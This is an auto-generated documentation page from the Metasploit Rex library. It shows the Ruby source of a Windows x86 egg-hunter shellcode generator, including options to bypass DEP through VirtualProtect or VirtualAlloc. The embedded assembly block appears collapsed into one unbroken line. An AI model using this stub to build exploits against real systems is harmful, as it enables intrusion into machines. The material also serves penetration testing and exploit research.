Methods

Class/Module Index [+]

Quicksearch

Rex::Exploitation::Egghunter::Windows::X86

Constants

Alias

Public Instance Methods

hunter_stub(payload, badchars = '', opts = {}) click to toggle source

The egg hunter stub for win/x86.

# File lib/rex/exploitation/egghunter.rb, line 42
def hunter_stub(payload, badchars = '', opts = {})

        startreg = opts[:startreg]

        raise RuntimeError, "Invalid egg string! Need #{esize} bytes." if opts[:eggtag].length != 4
        marker = "0x%x" % opts[:eggtag].unpack('V').first

        checksum = checksum_stub(payload, badchars, opts)

        startstub = ''
        if startreg
                if startreg.downcase != 'edx'
                        startstub = "\n\tmov edx,#{startreg}\n\tjmp next_addr"
                else
                        startstub = "\n\tjmp next_addr"
                end
        end
        startstub << "\n\t" if startstub.length > 0

        getpointer   = ''
        getsize      = ''
        getalloctype = ''
        getpc        = ''
        jmppayload   = "jmp edi"

        apireg = opts[:depreg] || 'esi'
        apidest = opts[:depdest]
        depsize = opts[:depsize]

        freeregs = [ "esi", "ebp", "ecx", "ebx" ]

        reginfo = {
                "ebx"=>["bx","bl","bh"],
                "ecx"=>["cx","cl","ch"]
        }

        if opts[:depmethod]

                if freeregs.index(apireg) == nil
                        getpointer << "mov #{freeregs[0]},#{apireg}\n\t"
                        apireg = freeregs[0]
                end
                freeregs.delete(apireg)

                if opts[:depmethod].downcase == "virtualalloc"
                        depsize = 0xfff
                end

                if opts[:depmethod].downcase == "copy" || opts[:depmethod].downcase == "copy_size"
                        if apidest
                                if freeregs.index(apidest) == nil
                                        getpointer << "mov #{freeregs[0]},#{apidest}\n\t"
                                        apidest = freeregs[0]
                                end
                        else
                                getpc = "fldpi\n\tfstenv [esp-0xc]\n\tpop #{freeregs[0]}\n\t"
                                apidest = freeregs[0]
                        end
                        freeregs.delete(apidest)
                end


                sizereg = freeregs[0]

                if not depsize
                        depsize = payload.length * 2
                        if opts[:depmethod]
                                if opts[:depmethod].downcase == "copy_size"
                                        depsize = payload.length
                                end
                        end
                end

                if depsize <= 127
                        getsize << "push 0x%02x\n\t" % depsize
                else
                        sizebytes = "%04x" % depsize
                        low = sizebytes[2,4]
                        high = sizebytes[0,2]
                        if sizereg == "ecx" || sizereg == "ebx"
                                regvars = reginfo[sizereg]
                                getsize << "xor #{sizereg},#{sizereg}\n\t"
                                if low != "00" and high != "00"
                                        getsize << "mov #{regvars[0]},0x%s\n\t" % sizebytes
                                elsif low != "00"
                                        getsize << "mov #{regvars[1]},0x%s\n\t" % low
                                elsif high != "00"
                                        getsize << "mov #{regvars[2]},0x%s\n\t" % high
                                end
                        end
                        if sizereg == "ebp"
                                if low != "00" and high != "00"
                                        getsize << "xor #{sizereg},#{sizereg}\n\t"
                                        getsize << "mov bp,0x%s\n\t" % sizebytes
                                end
                        end
                        # last resort
                        if getsize == ''
                                blockcnt = 0
                                vpsize = 0
                                blocksize = depsize
                                while blocksize > 127
                                        blocksize = blocksize / 2
                                        blockcnt += 1
                                end
                                getsize << "xor #{sizereg},#{sizereg}\n\tadd #{sizereg},0x%02x\n\t" % blocksize
                                vpsize = blocksize
                                depblockcnt = 0
                                while depblockcnt < blockcnt
                                        getsize << "add #{sizereg},#{sizereg}\n\t"
                                        vpsize += vpsize
                                        depblockcnt += 1
                                end
                                delta = depsize - vpsize
                                if delta > 0
                                        getsize << "add #{sizereg},0x%02x\n\t" % delta
                                end
                        end
                        if opts[:depmethod].downcase == "virtualalloc"
                                getsize << "inc #{sizereg}\n\t"
                        end

                        getsize << "push #{sizereg}\n\t"

                end

                getalloctype = getsize

                case opts[:depmethod].downcase
                        when "virtualprotect"
                                jmppayload = "push esp\n\tpush 0x40\n\t"
                                jmppayload << getsize
                                jmppayload << "push edi\n\tpush edi\n\tpush #{apireg}\n\tret"
                        when "virtualalloc"
                                jmppayload = "push 0x40\n\t"
                                jmppayload << getalloctype
                                jmppayload << "push 0x01\n\t"
                                jmppayload << "push edi\n\tpush edi\n\tpush #{apireg}\n\tret"
                        when "copy"
                                jmppayload = getpc
                                jmppayload << "push edi\n\tpush #{apidest}\n\tpush #{apidest}\n\tpush #{apireg}\n\tmov edi,#{apidest}\n\tret"
                        when "copy_size"
                                jmppayload = getpc
                                jmppayload << getsize
                                jmppayload << "push edi\n\tpush #{apidest}\n\tpush #{apidest}\n\tpush #{apireg}\n\tmov edi,#{apidest}\n\tret"
                end
        end

        jmppayload << "\n" if jmppayload.length > 0

        assembly = #{getpointer}#{startstub}check_readable:        or dx,0xfffnext_addr:        inc edx        push edx        push 0x02   ; use NtAccessCheckAndAuditAlarm syscall        pop eax        int 0x2e        cmp al,5        pop edx        je check_readablecheck_for_tag:        ; check that the tag matches once        mov eax,#{marker}        mov edi,edx        scasd        jne next_addr        ; it must match a second time too        scasd        jne next_addr        ; check the checksum if the feature is enabled#{checksum}        ; jump to the payload        #{jmppayload}

        assembled_code = Metasm::Shellcode.assemble(Metasm::Ia32.new, assembly).encode_string

        # return the stub
        assembled_code
end

[Validate]

Generated with the Darkfish Rdoc Generator 2.